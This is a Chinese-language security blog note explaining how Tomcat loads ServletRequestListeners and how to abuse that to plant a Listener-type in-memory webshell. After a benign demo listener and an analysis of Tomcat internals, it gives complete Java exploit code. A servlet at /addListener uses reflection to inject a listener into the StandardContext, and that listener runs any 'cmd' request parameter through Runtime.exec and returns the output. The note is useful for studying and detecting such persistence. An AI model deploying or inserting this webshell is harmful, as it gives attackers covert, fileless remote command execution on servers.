基础介绍
可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。
我的理解是无论什么请求,都会被listener监控
Listener有三个域对象
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
其中ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法
Listener基础实现
写一个基础的Listener,然后在webxml里面装配
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 
 | package Listener;
 import org.apache.catalina.core.ApplicationFilterChain;
 import org.apache.catalina.startup.ContextConfig;
 
 import javax.servlet.ServletRequestEvent;
 import javax.servlet.ServletRequestListener;
 import javax.servlet.annotation.WebListener;
 import java.util.EventListener;
 
 @WebListener("/listenerTest")
 public class ListenerTest implements ServletRequestListener {
 
 public ListenerTest(){
 
 }
 
 @Override
 public void requestDestroyed(ServletRequestEvent sre) {
 
 }
 
 @Override
 public void requestInitialized(ServletRequestEvent sre) {
 System.out.println("Listener 被调用");
 }
 }
 
 | 
webxml
| 12
 3
 
 | <listener>  <listener-class>Listener.ListenerTest</listener-class>
 </listener>
 
 | 
访问对应的路由,可以看到日志有打印

Listener流程分析
分析前有两个问题要思考:1.tomcat是怎么加载listener的 2.恶意代码应该写在哪
应用开启前
读取配置文件
有一个ContextConfig.configureContext()方法把 web.xml 作为参数传进去

里面进行一些配置读取工作,不细看了
读完配置文件,加载Listener
应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务

这里重点有一个findApplicationListeners()方法,就是把之前的Listener存到这里
应用运行过程
断点打在requestInitialized()方法

然后看调用栈,回到最后一个invoke方法,为了进入fireRequestInitEvent()方法

主要代码在这里面,跟进到getApplicationEventListeners()方法里面,会有这段,在获取listener数组
| 12
 3
 
 | public Object[] getApplicationEventListeners() {return this.applicationEventListenersList.toArray();
 }
 
 | 
然后可以发现实际上listener是存储在applicationEventListenersList里面的
| 1
 | private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
 | 
而且可以通过addApplicationEventListener()方法来添加listener

到后面就和filter差不多,listener组内listener会被逐个触发,直到最后的requestInitialized()方法

攻击
前辈的图依旧画的十分清晰

依旧是需要获取StandardContext,相比filter内存马会简单一些
最后exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 
 | package Listener;
 import org.apache.catalina.connector.Request;
 import org.apache.catalina.connector.Response;
 import org.apache.catalina.core.ApplicationContext;
 import org.apache.catalina.core.StandardContext;
 
 import javax.servlet.ServletContext;
 import javax.servlet.ServletException;
 import javax.servlet.ServletRequestEvent;
 import javax.servlet.ServletRequestListener;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
 import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
 
 class ListenerMemShell implements ServletRequestListener{
 
 @Override
 public void requestDestroyed(ServletRequestEvent sre) {
 }
 
 @Override
 public void requestInitialized(ServletRequestEvent sre) {
 String cmd;
 try {
 cmd = sre.getServletRequest().getParameter("cmd");
 org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
 Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
 requestField.setAccessible(true);
 try {
 Request request = (Request) requestField.get(requestFacade);
 Response response = request.getResponse();
 
 if (cmd != null) {
 InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
 int i = 0;
 byte[] bytes = new byte[1024];
 while ((i = inputStream.read(bytes)) != -1) {
 response.getWriter().write(new String(bytes, 0, i));
 response.getWriter().write("\r\n");
 }
 }
 } catch (Exception e) {
 e.printStackTrace();
 }
 } catch (NoSuchFieldException e) {
 throw new RuntimeException(e);
 } catch (ClassNotFoundException e) {
 throw new RuntimeException(e);
 } finally {
 
 }
 }
 }
 
 @WebServlet("/addListener")
 public class ListenerShell extends HttpServlet {
 
 public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 
 try {
 
 ServletContext servletContext = request.getServletContext();
 Field applicationContextField = servletContext.getClass().getDeclaredField("context");
 applicationContextField.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
 
 Field standardContextField = applicationContext.getClass().getDeclaredField("context");
 standardContextField.setAccessible(true);
 StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
 
 
 Object[] objects = standardContext.getApplicationEventListeners();
 List<Object> listeners = Arrays.asList(objects);
 List<Object> arrayList = new ArrayList<>(listeners);
 arrayList.add(new ListenerMemShell());
 standardContext.setApplicationEventListeners(arrayList.toArray());
 
 System.out.println("listener内存马添加成功");
 response.getWriter().write("Listener added successfully!");
 } catch (NoSuchFieldException | IllegalAccessException e) {
 e.printStackTrace();
 throw new ServletException("Failed to add listener", e);
 }
 }
 }
 
 | 
参考
https://drun1baby.top/2022/08/27/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-04-Tomcat-%E4%B9%8B-Listener-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/
碎碎念
依旧不是很走心的笔记,下一篇详细写结合反序列化打入内存马